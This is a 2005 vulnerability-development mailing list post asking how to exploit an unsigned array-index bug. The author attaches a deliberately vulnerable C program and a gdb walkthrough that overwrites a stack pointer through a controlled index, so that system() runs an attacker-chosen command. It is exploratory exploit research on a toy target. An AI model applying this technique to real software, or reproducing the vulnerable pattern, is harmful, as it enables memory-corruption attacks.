Vulnerability Development mailing list archives
Taking the control by abusing array index.
From: Agustin Gianni <agustingianni () gmail com>
Date: Mon, 21 Feb 2005 02:30:09 -0300
Hello, this came up to my head while i was reading a traceroute implementation.
This traceroute has a similar bug, it refers to an array of pointersand the int value that is acting as the array index is unsigned. The problem is
that it does something like this pointer_array[unsigned_int] = malloc(....); I can control unsigned_int value My question is, has anybody seen this kind of programming bug? Any ideas on how to exploit this? The attached file has some ideas, but it is not directly applicable to this bug. Well thanks!
/* Copyright (c) 2005 by Agustin Gianni How do we exploit this? By placing the right value in argv[2]. How is this? Well, we have array[256] and we can place any string supplied in argv[1] wherever we want inside the buffer. But there is a little mistake (or huge) We control the index of the array. This make us able to access wherever we want by passing a greater value at argv[2]. also note that atoi returns a int, not a u_int. This allows us to access memory before the buff. The concept is quite simple. You have to find in this case the address of ptr. It is located on the stack. found it by debbuging and placing breakpoints and then do x/x $esp and look for 0xdeadbeef :) ptr is: (gdb) x/x $esp (gdb) 0xbffff88c: 0xdeadbeef Now we have to choose the address of ptr. I choosed :) addr of argv[3] because it is the simpler way i can think =) heheheh The address of argv varies, the same way ptr addres do. So we have to find it debbugin again (gdb) x/s argv[3] 0xbffffa3a: "ls" Once we have the 2 addresses we are almost ready to exploit this thing. We must make ptr point to argv[3]. But how? Well we control the arry index, so what if we get the address of array and see what is the offset between array and ptr? That will be or magic number. (gdb) x/x array 0xbffff780: 0x40014c20 |argv|ptr|array| Array is at a lower addres than pointer, so we must supply a positive value in argv[2] This number will be the difference between 0xbffff88c - 0xbffff780 = 268)Dec We are ready to exploit this thing! Now we have ptr ----> (argv[3] = "ls") ________________ _The poc (?)____ kenny root # gdb arry GNU gdb 6.0 (gdb) r `printf "\x3a\xfa\xff\xbf"` 268 ls Starting program: /mnt/slackware/root/arry `printf "\x14\xfa\xff\xbf"` 268 ls bin boot dev etc home lib mnt opt proc root sbin sys tmp usr var Program exited normally. (gdb) As you can see, this method sucks. We have too much things to find :S but. I will do a little more "research". */ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *ptr = 0xdeadbeef; char array[256]; strncpy(&array[atoi(argv[2])], argv[1], strlen(argv[1])); system(ptr); return 0; }
Current thread:
- Taking the control by abusing array index. Agustin Gianni (Feb 21)
- Re: Taking the control by abusing array index. dullien (Feb 21)
- <Possible follow-ups>
- Re: Taking the control by abusing array index. Vade 79 (Feb 22)